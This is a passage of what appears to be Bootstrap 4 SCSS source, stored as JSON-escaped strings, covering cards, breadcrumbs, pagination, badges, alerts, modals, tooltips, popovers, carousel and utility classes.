// Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n flex: 1 0 0%;\n margin-bottom: 0;\n\n + .card {\n margin-left: 0;\n border-left: 0;\n }\n\n // Handle rounded corners\n @if $enable-rounded {\n &:first-child {\n @include border-right-radius(0);\n\n .card-img-top,\n .card-header {\n border-top-right-radius: 0;\n }\n .card-img-bottom,\n .card-footer {\n border-bottom-right-radius: 0;\n }\n }\n\n &:last-child {\n @include border-left-radius(0);\n\n .card-img-top,\n .card-header {\n border-top-left-radius: 0;\n }\n .card-img-bottom,\n .card-footer {\n border-bottom-left-radius: 0;\n }\n }\n\n &:only-child {\n @include border-radius($card-border-radius);\n\n .card-img-top,\n .card-header {\n @include border-top-radius($card-border-radius);\n }\n .card-img-bottom,\n .card-footer {\n @include border-bottom-radius($card-border-radius);\n }\n }\n\n &:not(:first-child):not(:last-child):not(:only-child) {\n @include border-radius(0);\n\n .card-img-top,\n .card-img-bottom,\n .card-header,\n .card-footer {\n @include border-radius(0);\n }\n }\n }\n }\n }\n}\n\n\n//\n// Columns\n//\n\n.card-columns {\n .card {\n margin-bottom: $card-columns-margin;\n }\n\n @include media-breakpoint-up(sm) {\n column-count: $card-columns-count;\n column-gap: $card-columns-gap;\n orphans: 1;\n widows: 1;\n\n .card {\n display: inline-block; // Don't let them vertically span multiple columns\n width: 100%; // Don't let their width change\n }\n }\n}\n\n\n//\n// Accordion\n//\n\n.accordion {\n .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n }\n\n .card:not(:first-of-type) {\n .card-header:first-child {\n border-radius: 0;\n }\n }\n\n .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n }\n\n .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n}\n",".breadcrumb {\n display: flex;\n flex-wrap: wrap;\n padding: $breadcrumb-padding-y $breadcrumb-padding-x;\n margin-bottom: $breadcrumb-margin-bottom;\n list-style: none;\n background-color: $breadcrumb-bg;\n @include border-radius($breadcrumb-border-radius);\n}\n\n.breadcrumb-item {\n // The separator between breadcrumbs (by default, a forward-slash: \"/\")\n + .breadcrumb-item {\n padding-left: $breadcrumb-item-padding;\n\n &::before {\n display: inline-block; // Suppress underlining of the separator in modern browsers\n padding-right: $breadcrumb-item-padding;\n color: $breadcrumb-divider-color;\n content: $breadcrumb-divider;\n }\n }\n\n // IE9-11 hack to properly handle hyperlink underlines for breadcrumbs built\n // without `<ul>`s. The `::before` pseudo-element generates an element\n // *within* the .breadcrumb-item and thereby inherits the `text-decoration`.\n //\n // To trick IE into suppressing the underline, we give the pseudo-element an\n // underline and then immediately remove it.\n + .breadcrumb-item:hover::before {\n text-decoration: underline;\n }\n // stylelint-disable-next-line no-duplicate-selectors\n + .breadcrumb-item:hover::before {\n text-decoration: none;\n }\n\n &.active {\n color: $breadcrumb-active-color;\n }\n}\n",".pagination {\n display: flex;\n @include list-unstyled();\n @include border-radius();\n}\n\n.page-link {\n position: relative;\n display: block;\n padding: $pagination-padding-y $pagination-padding-x;\n margin-left: -$pagination-border-width;\n line-height: $pagination-line-height;\n color: $pagination-color;\n background-color: $pagination-bg;\n border: $pagination-border-width solid $pagination-border-color;\n\n &:hover {\n z-index: 2;\n color: $pagination-hover-color;\n text-decoration: none;\n background-color: $pagination-hover-bg;\n border-color: $pagination-hover-border-color;\n }\n\n &:focus {\n z-index: 2;\n outline: $pagination-focus-outline;\n box-shadow: $pagination-focus-box-shadow;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .page-link elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n.page-item {\n &:first-child {\n .page-link {\n margin-left: 0;\n @include border-left-radius($border-radius);\n }\n }\n &:last-child {\n .page-link {\n @include border-right-radius($border-radius);\n }\n }\n\n &.active .page-link {\n z-index: 1;\n color: $pagination-active-color;\n background-color: $pagination-active-bg;\n border-color: $pagination-active-border-color;\n }\n\n &.disabled .page-link {\n color: $pagination-disabled-color;\n pointer-events: none;\n // Opinionated: remove the \"hand\" cursor set previously for .page-link\n cursor: auto;\n background-color: $pagination-disabled-bg;\n border-color: $pagination-disabled-border-color;\n }\n}\n\n\n//\n// Sizing\n//\n\n.pagination-lg {\n @include pagination-size($pagination-padding-y-lg, $pagination-padding-x-lg, $font-size-lg, $line-height-lg, $border-radius-lg);\n}\n\n.pagination-sm {\n @include pagination-size($pagination-padding-y-sm, $pagination-padding-x-sm, $font-size-sm, $line-height-sm, $border-radius-sm);\n}\n","// Pagination\n\n@mixin pagination-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n .page-link {\n padding: $padding-y $padding-x;\n font-size: $font-size;\n line-height: $line-height;\n }\n\n .page-item {\n &:first-child {\n .page-link {\n @include border-left-radius($border-radius);\n }\n }\n &:last-child {\n .page-link {\n @include border-right-radius($border-radius);\n }\n }\n }\n}\n","// Base class\n//\n// Requires one of the contextual, color modifier classes for `color` and\n// `background-color`.\n\n.badge {\n display: inline-block;\n padding: $badge-padding-y $badge-padding-x;\n font-size: $badge-font-size;\n font-weight: $badge-font-weight;\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n @include border-radius($badge-border-radius);\n\n // Empty badges collapse automatically\n &:empty {\n display: none;\n }\n}\n\n// Quick fix for badges in buttons\n.btn .badge {\n position: relative;\n top: -1px;\n}\n\n// Pill badges\n//\n// Make them extra rounded with a modifier to replace v3's badges.\n\n.badge-pill {\n padding-right: $badge-pill-padding-x;\n padding-left: $badge-pill-padding-x;\n @include border-radius($badge-pill-border-radius);\n}\n\n// Colors\n//\n// Contextual variations (linked badges get darker on :hover).\n\n@each $color, $value in $theme-colors {\n .badge-#{$color} {\n @include badge-variant($value);\n }\n}\n","@mixin badge-variant($bg) {\n color: color-yiq($bg);\n background-color: $bg;\n\n &[href] {\n @include hover-focus {\n color: color-yiq($bg);\n text-decoration: none;\n background-color: darken($bg, 10%);\n }\n }\n}\n",".jumbotron {\n padding: $jumbotron-padding ($jumbotron-padding / 2);\n margin-bottom: $jumbotron-padding;\n background-color: $jumbotron-bg;\n @include border-radius($border-radius-lg);\n\n @include media-breakpoint-up(sm) {\n padding: ($jumbotron-padding * 2) $jumbotron-padding;\n }\n}\n\n.jumbotron-fluid {\n padding-right: 0;\n padding-left: 0;\n @include border-radius(0);\n}\n","//\n// Base styles\n//\n\n.alert {\n position: relative;\n padding: $alert-padding-y $alert-padding-x;\n margin-bottom: $alert-margin-bottom;\n border: $alert-border-width solid transparent;\n @include border-radius($alert-border-radius);\n}\n\n// Headings for larger alerts\n.alert-heading {\n // Specified to prevent conflicts of changing $headings-color\n color: inherit;\n}\n\n// Provide class for links that match alerts\n.alert-link {\n font-weight: $alert-link-font-weight;\n}\n\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissible {\n padding-right: ($close-font-size + $alert-padding-x * 2);\n\n // Adjust close link position\n .close {\n position: absolute;\n top: 0;\n right: 0;\n padding: $alert-padding-y $alert-padding-x;\n color: inherit;\n }\n}\n\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n@each $color, $value in $theme-colors {\n .alert-#{$color} {\n @include alert-variant(theme-color-level($color, $alert-bg-level), theme-color-level($color, $alert-border-level), theme-color-level($color, $alert-color-level));\n }\n}\n","@mixin alert-variant($background, $border, $color) {\n color: $color;\n @include gradient-bg($background);\n border-color: $border;\n\n hr {\n border-top-color: darken($border, 5%);\n }\n\n .alert-link {\n color: darken($color, 10%);\n }\n}\n","@keyframes progress-bar-stripes {\n from { background-position: $progress-height 0; }\n to { background-position: 0 0; }\n}\n\n.progress {\n display: flex;\n height: $progress-height;\n overflow: hidden; // force rounded corners by cropping it\n font-size: $progress-font-size;\n background-color: $progress-bg;\n @include border-radius($progress-border-radius);\n @include box-shadow($progress-box-shadow);\n}\n\n.progress-bar {\n display: flex;\n flex-direction: column;\n justify-content: center;\n color: $progress-bar-color;\n text-align: center;\n white-space: nowrap;\n background-color: $progress-bar-bg;\n @include transition($progress-bar-transition);\n}\n\n.progress-bar-striped {\n @include gradient-striped();\n background-size: $progress-height $progress-height;\n}\n\n.progress-bar-animated {\n animation: progress-bar-stripes $progress-bar-animation-timing;\n}\n",".media {\n display: flex;\n align-items: flex-start;\n}\n\n.media-body {\n flex: 1;\n}\n","// Base class\n//\n// Easily usable on <ul>, <ol>, or <div>.\n\n.list-group {\n display: flex;\n flex-direction: column;\n\n // No need to set list-style: none; since .list-group-item is block level\n padding-left: 0; // reset padding because ul and ol\n margin-bottom: 0;\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive\n// list items. Includes an extra `.active` modifier class for selected items.\n\n.list-group-item-action {\n width: 100%; // For `<button>`s (anchors become 100% by default though)\n color: $list-group-action-color;\n text-align: inherit; // For `<button>`s (anchors inherit)\n\n // Hover state\n @include hover-focus {\n color: $list-group-action-hover-color;\n text-decoration: none;\n background-color: $list-group-hover-bg;\n }\n\n &:active {\n color: $list-group-action-active-color;\n background-color: $list-group-action-active-bg;\n }\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n position: relative;\n display: block;\n padding: $list-group-item-padding-y $list-group-item-padding-x;\n // Place the border on the list items and negative margin up for better styling\n margin-bottom: -$list-group-border-width;\n background-color: $list-group-bg;\n border: $list-group-border-width solid $list-group-border-color;\n\n &:first-child {\n @include border-top-radius($list-group-border-radius);\n }\n\n &:last-child {\n margin-bottom: 0;\n @include border-bottom-radius($list-group-border-radius);\n }\n\n @include hover-focus {\n z-index: 1; // Place hover/active items above their siblings for proper border styling\n text-decoration: none;\n }\n\n &.disabled,\n &:disabled {\n color: $list-group-disabled-color;\n background-color: $list-group-disabled-bg;\n }\n\n // Include both here for `<a>`s and `<button>`s\n &.active {\n z-index: 2; // Place active items above their siblings for proper border styling\n color: $list-group-active-color;\n background-color: $list-group-active-bg;\n border-color: $list-group-active-border-color;\n }\n}\n\n\n// Flush list items\n//\n// Remove borders and border-radius to keep list group items edge-to-edge. Most\n// useful within other components (e.g., cards).\n\n.list-group-flush {\n .list-group-item {\n border-right: 0;\n border-left: 0;\n @include border-radius(0);\n }\n\n &:first-child {\n .list-group-item:first-child {\n border-top: 0;\n }\n }\n\n &:last-child {\n .list-group-item:last-child {\n border-bottom: 0;\n }\n }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n@each $color, $value in $theme-colors {\n @include list-group-item-variant($color, theme-color-level($color, -9), theme-color-level($color, 6));\n}\n","// List Groups\n\n@mixin list-group-item-variant($state, $background, $color) {\n .list-group-item-#{$state} {\n color: $color;\n background-color: $background;\n\n &.list-group-item-action {\n @include hover-focus {\n color: $color;\n background-color: darken($background, 5%);\n }\n\n &.active {\n color: $white;\n background-color: $color;\n border-color: $color;\n }\n }\n }\n}\n",".close {\n float: right;\n font-size: $close-font-size;\n font-weight: $close-font-weight;\n line-height: 1;\n color: $close-color;\n text-shadow: $close-text-shadow;\n opacity: .5;\n\n @include hover-focus {\n color: $close-color;\n text-decoration: none;\n opacity: .75;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .close elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n// Additional properties for button version\n// iOS requires the button element instead of an anchor tag.\n// If you want the anchor version, it requires `href=\"#\"`.\n// See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n// stylelint-disable property-no-vendor-prefix, selector-no-qualifying-type\nbutton.close {\n padding: 0;\n background-color: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n// stylelint-enable\n","// .modal-open - body class for killing the scroll\n// .modal - container to scroll within\n// .modal-dialog - positioning shell for the actual modal\n// .modal-content - actual modal w/ bg and corners and stuff\n\n\n// Kill the scroll on the body\n.modal-open {\n overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-modal;\n display: none;\n overflow: hidden;\n // Prevent Chrome on Windows from adding a focus outline. For details, see\n // https://github.com/twbs/bootstrap/pull/10951.\n outline: 0;\n // We deliberately don't use `-webkit-overflow-scrolling: touch;` due to a\n // gnarly iOS Safari bug: https://bugs.webkit.org/show_bug.cgi?id=158342\n // See also https://github.com/twbs/bootstrap/issues/17695\n\n .modal-open & {\n overflow-x: hidden;\n overflow-y: auto;\n }\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n position: relative;\n width: auto;\n margin: $modal-dialog-margin;\n // allow clicks to pass through for custom click handling to close modal\n pointer-events: none;\n\n // When fading in the modal, animate it to slide down\n .modal.fade & {\n @include transition($modal-transition);\n transform: translate(0, -25%);\n }\n .modal.show & {\n transform: translate(0, 0);\n }\n}\n\n.modal-dialog-centered {\n display: flex;\n align-items: center;\n min-height: calc(100% - (#{$modal-dialog-margin} * 2));\n}\n\n// Actual modal\n.modal-content {\n position: relative;\n display: flex;\n flex-direction: column;\n width: 100%; // Ensure `.modal-content` extends the full width of the parent `.modal-dialog`\n // counteract the pointer-events: none; in the .modal-dialog\n pointer-events: auto;\n background-color: $modal-content-bg;\n background-clip: padding-box;\n border: $modal-content-border-width solid $modal-content-border-color;\n @include border-radius($modal-content-border-radius);\n @include box-shadow($modal-content-box-shadow-xs);\n // Remove focus outline from opened modal\n outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-modal-backdrop;\n background-color: $modal-backdrop-bg;\n\n // Fade for backdrop\n &.fade { opacity: 0; }\n &.show { opacity: $modal-backdrop-opacity; }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n display: flex;\n align-items: flex-start; // so the close btn always stays on the upper right corner\n justify-content: space-between; // Put modal header elements (title and dismiss) on opposite ends\n padding: $modal-header-padding;\n border-bottom: $modal-header-border-width solid $modal-header-border-color;\n @include border-top-radius($modal-content-border-radius);\n\n .close {\n padding: $modal-header-padding;\n // auto on the left force icon to the right even when there is no .modal-title\n margin: (-$modal-header-padding) (-$modal-header-padding) (-$modal-header-padding) auto;\n }\n}\n\n// Title text within header\n.modal-title {\n margin-bottom: 0;\n line-height: $modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n position: relative;\n // Enable `flex-grow: 1` so that the body take up as much space as possible\n // when should there be a fixed height on `.modal-dialog`.\n flex: 1 1 auto;\n padding: $modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n display: flex;\n align-items: center; // vertically center\n justify-content: flex-end; // Right align buttons with flex property because text-align doesn't work on flex items\n padding: $modal-inner-padding;\n border-top: $modal-footer-border-width solid $modal-footer-border-color;\n\n // Easily place margin between footer elements\n > :not(:first-child) { margin-left: .25rem; }\n > :not(:last-child) { margin-right: .25rem; }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n// Scale up the modal\n@include media-breakpoint-up(sm) {\n // Automatically set modal's width for larger viewports\n .modal-dialog {\n max-width: $modal-md;\n margin: $modal-dialog-margin-y-sm-up auto;\n }\n\n .modal-dialog-centered {\n min-height: calc(100% - (#{$modal-dialog-margin-y-sm-up} * 2));\n }\n\n .modal-content {\n @include box-shadow($modal-content-box-shadow-sm-up);\n }\n\n .modal-sm { max-width: $modal-sm; }\n\n}\n\n@include media-breakpoint-up(lg) {\n .modal-lg { max-width: $modal-lg; }\n}\n","// Base class\n.tooltip {\n position: absolute;\n z-index: $zindex-tooltip;\n display: block;\n margin: $tooltip-margin;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n @include reset-text();\n font-size: $tooltip-font-size;\n // Allow breaking very long words so they don't overflow the tooltip's bounds\n word-wrap: break-word;\n opacity: 0;\n\n &.show { opacity: $tooltip-opacity; }\n\n .arrow {\n position: absolute;\n display: block;\n width: $tooltip-arrow-width;\n height: $tooltip-arrow-height;\n\n &::before {\n position: absolute;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n }\n }\n}\n\n.bs-tooltip-top {\n padding: $tooltip-arrow-height 0;\n\n .arrow {\n bottom: 0;\n\n &::before {\n top: 0;\n border-width: $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n border-top-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-right {\n padding: 0 $tooltip-arrow-height;\n\n .arrow {\n left: 0;\n width: $tooltip-arrow-height;\n height: $tooltip-arrow-width;\n\n &::before {\n right: 0;\n border-width: ($tooltip-arrow-width / 2) $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n border-right-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-bottom {\n padding: $tooltip-arrow-height 0;\n\n .arrow {\n top: 0;\n\n &::before {\n bottom: 0;\n border-width: 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n border-bottom-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-left {\n padding: 0 $tooltip-arrow-height;\n\n .arrow {\n right: 0;\n width: $tooltip-arrow-height;\n height: $tooltip-arrow-width;\n\n &::before {\n left: 0;\n border-width: ($tooltip-arrow-width / 2) 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n border-left-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-auto {\n &[x-placement^=\"top\"] {\n @extend .bs-tooltip-top;\n }\n &[x-placement^=\"right\"] {\n @extend .bs-tooltip-right;\n }\n &[x-placement^=\"bottom\"] {\n @extend .bs-tooltip-bottom;\n }\n &[x-placement^=\"left\"] {\n @extend .bs-tooltip-left;\n }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n max-width: $tooltip-max-width;\n padding: $tooltip-padding-y $tooltip-padding-x;\n color: $tooltip-color;\n text-align: center;\n background-color: $tooltip-bg;\n @include border-radius($tooltip-border-radius);\n}\n","@mixin reset-text {\n font-family: $font-family-base;\n // We deliberately do NOT reset font-size or word-wrap.\n font-style: normal;\n font-weight: $font-weight-normal;\n line-height: $line-height-base;\n text-align: left; // Fallback for where `start` is not supported\n text-align: start; // stylelint-disable-line declaration-block-no-duplicate-properties\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n}\n",".popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: $zindex-popover;\n display: block;\n max-width: $popover-max-width;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n @include reset-text();\n font-size: $popover-font-size;\n // Allow breaking very long words so they don't overflow the popover's bounds\n word-wrap: break-word;\n background-color: $popover-bg;\n background-clip: padding-box;\n border: $popover-border-width solid $popover-border-color;\n @include border-radius($popover-border-radius);\n @include box-shadow($popover-box-shadow);\n\n .arrow {\n position: absolute;\n display: block;\n width: $popover-arrow-width;\n height: $popover-arrow-height;\n margin: 0 $border-radius-lg;\n\n &::before,\n &::after {\n position: absolute;\n display: block;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n }\n }\n}\n\n.bs-popover-top {\n margin-bottom: $popover-arrow-height;\n\n .arrow {\n bottom: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n }\n\n .arrow::before,\n .arrow::after {\n border-width: $popover-arrow-height ($popover-arrow-width / 2) 0;\n }\n\n .arrow::before {\n bottom: 0;\n border-top-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n bottom: $popover-border-width;\n border-top-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-right {\n margin-left: $popover-arrow-height;\n\n .arrow {\n left: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n width: $popover-arrow-height;\n height: $popover-arrow-width;\n margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n }\n\n .arrow::before,\n .arrow::after {\n border-width: ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2) 0;\n }\n\n .arrow::before {\n left: 0;\n border-right-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n left: $popover-border-width;\n border-right-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-bottom {\n margin-top: $popover-arrow-height;\n\n .arrow {\n top: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n }\n\n .arrow::before,\n .arrow::after {\n border-width: 0 ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2);\n }\n\n .arrow::before {\n top: 0;\n border-bottom-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n top: $popover-border-width;\n border-bottom-color: $popover-arrow-color;\n }\n\n // This will remove the popover-header's border just below the arrow\n .popover-header::before {\n position: absolute;\n top: 0;\n left: 50%;\n display: block;\n width: $popover-arrow-width;\n margin-left: ($popover-arrow-width / -2);\n content: \"\";\n border-bottom: $popover-border-width solid $popover-header-bg;\n }\n}\n\n.bs-popover-left {\n margin-right: $popover-arrow-height;\n\n .arrow {\n right: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n width: $popover-arrow-height;\n height: $popover-arrow-width;\n margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n }\n\n .arrow::before,\n .arrow::after {\n border-width: ($popover-arrow-width / 2) 0 ($popover-arrow-width / 2) $popover-arrow-height;\n }\n\n .arrow::before {\n right: 0;\n border-left-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n right: $popover-border-width;\n border-left-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-auto {\n &[x-placement^=\"top\"] {\n @extend .bs-popover-top;\n }\n &[x-placement^=\"right\"] {\n @extend .bs-popover-right;\n }\n &[x-placement^=\"bottom\"] {\n @extend .bs-popover-bottom;\n }\n &[x-placement^=\"left\"] {\n @extend .bs-popover-left;\n }\n}\n\n\n// Offset the popover to account for the popover arrow\n.popover-header {\n padding: $popover-header-padding-y $popover-header-padding-x;\n margin-bottom: 0; // Reset the default from Reboot\n font-size: $font-size-base;\n color: $popover-header-color;\n background-color: $popover-header-bg;\n border-bottom: $popover-border-width solid darken($popover-header-bg, 5%);\n $offset-border-width: calc(#{$border-radius-lg} - #{$popover-border-width});\n @include border-top-radius($offset-border-width);\n\n &:empty {\n display: none;\n }\n}\n\n.popover-body {\n padding: $popover-body-padding-y $popover-body-padding-x;\n color: $popover-body-color;\n}\n","// Notes on the classes:\n//\n// 1. The .carousel-item-left and .carousel-item-right is used to indicate where\n// the active slide is heading.\n// 2. .active.carousel-item is the current slide.\n// 3. .active.carousel-item-left and .active.carousel-item-right is the current\n// slide in its in-transition state. Only one of these occurs at a time.\n// 4. .carousel-item-next.carousel-item-left and .carousel-item-prev.carousel-item-right\n// is the upcoming slide in transition.\n\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n\n.carousel-item {\n position: relative;\n display: none;\n align-items: center;\n width: 100%;\n @include transition($carousel-transition);\n backface-visibility: hidden;\n perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n position: absolute;\n top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n transform: translateX(0);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n transform: translateX(100%);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(100%, 0, 0);\n }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n transform: translateX(-100%);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(-100%, 0, 0);\n }\n}\n\n\n//\n// Alternate transitions\n//\n\n.carousel-fade {\n .carousel-item {\n opacity: 0;\n transition-duration: .6s;\n transition-property: opacity;\n }\n\n .carousel-item.active,\n .carousel-item-next.carousel-item-left,\n .carousel-item-prev.carousel-item-right {\n opacity: 1;\n }\n\n .active.carousel-item-left,\n .active.carousel-item-right {\n opacity: 0;\n }\n\n .carousel-item-next,\n .carousel-item-prev,\n .carousel-item.active,\n .active.carousel-item-left,\n .active.carousel-item-prev {\n transform: translateX(0);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(0, 0, 0);\n }\n }\n}\n\n\n//\n// Left/right controls for nav\n//\n\n.carousel-control-prev,\n.carousel-control-next {\n position: absolute;\n top: 0;\n bottom: 0;\n // Use flex for alignment (1-3)\n display: flex; // 1. allow flex styles\n align-items: center; // 2. vertically center contents\n justify-content: center; // 3. horizontally center contents\n width: $carousel-control-width;\n color: $carousel-control-color;\n text-align: center;\n opacity: $carousel-control-opacity;\n // We can't have a transition here because WebKit cancels the carousel\n // animation if you trip this while in the middle of another animation.\n\n // Hover/focus state\n @include hover-focus {\n color: $carousel-control-color;\n text-decoration: none;\n outline: 0;\n opacity: .9;\n }\n}\n.carousel-control-prev {\n left: 0;\n @if $enable-gradients {\n background: linear-gradient(90deg, rgba($black, .25), rgba($black, .001));\n }\n}\n.carousel-control-next {\n right: 0;\n @if $enable-gradients {\n background: linear-gradient(270deg, rgba($black, .25), rgba($black, .001));\n }\n}\n\n// Icons for within\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n display: inline-block;\n width: $carousel-control-icon-width;\n height: $carousel-control-icon-width;\n background: transparent no-repeat center center;\n background-size: 100% 100%;\n}\n.carousel-control-prev-icon {\n background-image: $carousel-control-prev-icon-bg;\n}\n.carousel-control-next-icon {\n background-image: $carousel-control-next-icon-bg;\n}\n\n\n// Optional indicator pips\n//\n// Add an ordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n position: absolute;\n right: 0;\n bottom: 10px;\n left: 0;\n z-index: 15;\n display: flex;\n justify-content: center;\n padding-left: 0; // override <ol> default\n // Use the .carousel-control's width as margin so we don't overlay those\n margin-right: $carousel-control-width;\n margin-left: $carousel-control-width;\n list-style: none;\n\n li {\n position: relative;\n flex: 0 1 auto;\n width: $carousel-indicator-width;\n height: $carousel-indicator-height;\n margin-right: $carousel-indicator-spacer;\n margin-left: $carousel-indicator-spacer;\n text-indent: -999px;\n background-color: rgba($carousel-indicator-active-bg, .5);\n\n // Use pseudo classes to increase the hit area by 10px on top and bottom.\n &::before {\n position: absolute;\n top: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n }\n &::after {\n position: absolute;\n bottom: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n }\n }\n\n .active {\n background-color: $carousel-indicator-active-bg;\n }\n}\n\n\n// Optional captions\n//\n//\n\n.carousel-caption {\n position: absolute;\n right: ((100% - $carousel-caption-width) / 2);\n bottom: 20px;\n left: ((100% - $carousel-caption-width) / 2);\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: $carousel-caption-color;\n text-align: center;\n}\n","// stylelint-disable declaration-no-important\n\n.align-baseline { vertical-align: baseline !important; } // Browser default\n.align-top { vertical-align: top !important; }\n.align-middle { vertical-align: middle !important; }\n.align-bottom { vertical-align: bottom !important; }\n.align-text-bottom { vertical-align: text-bottom !important; }\n.align-text-top { vertical-align: text-top !important; }\n","// stylelint-disable declaration-no-important\n\n// Contextual backgrounds\n\n@mixin bg-variant($parent, $color) {\n #{$parent} {\n background-color: $color !important;\n }\n a#{$parent},\n button#{$parent} {\n @include hover-focus {\n background-color: darken($color, 10%) !important;\n }\n }\n}\n\n@mixin bg-gradient-variant($parent, $color) {\n #{$parent} {\n background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x !important;\n }\n}\n","// stylelint-disable declaration-no-important\n\n@each $color, $value in $theme-colors {\n @include bg-variant(\".bg-#{$color}\", $value);\n}\n\n@if $enable-gradients {\n @each $color, $value in $theme-colors {\n @include bg-gradient-variant(\".bg-gradient-#{$color}\", $value);\n }\n}\n\n.bg-white {\n background-color: $white !important;\n}\n\n.bg-transparent {\n background-color: transparent !important;\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Border\n//\n\n.border { border: $border-width solid $border-color !important; }\n.border-top { border-top: $border-width solid $border-color !important; }\n.border-right { border-right: $border-width solid $border-color !important; }\n.border-bottom { border-bottom: $border-width solid $border-color !important; }\n.border-left { border-left: $border-width solid $border-color !important; }\n\n.border-0 { border: 0 !important; }\n.border-top-0 { border-top: 0 !important; }\n.border-right-0 { border-right: 0 !important; }\n.border-bottom-0 { border-bottom: 0 !important; }\n.border-left-0 { border-left: 0 !important; }\n\n@each $color, $value in $theme-colors {\n .border-#{$color} {\n border-color: $value !important;\n }\n}\n\n.border-white {\n border-color: $white !important;\n}\n\n//\n// Border-radius\n//\n\n.rounded {\n border-radius: $border-radius !important;\n}\n.rounded-top {\n border-top-left-radius: $border-radius !important;\n border-top-right-radius: $border-radius !important;\n}\n.rounded-right {\n border-top-right-radius: $border-radius !important;\n border-bottom-right-radius: $border-radius !important;\n}\n.rounded-bottom {\n border-bottom-right-radius: $border-radius !important;\n border-bottom-left-radius: $border-radius !important;\n}\n.rounded-left {\n border-top-left-radius: $border-radius !important;\n border-bottom-left-radius: $border-radius !important;\n}\n\n.rounded-circle {\n border-radius: 50% !important;\n}\n\n.rounded-0 {\n border-radius: 0 !important;\n}\n","@mixin clearfix() {\n &::after {\n display: 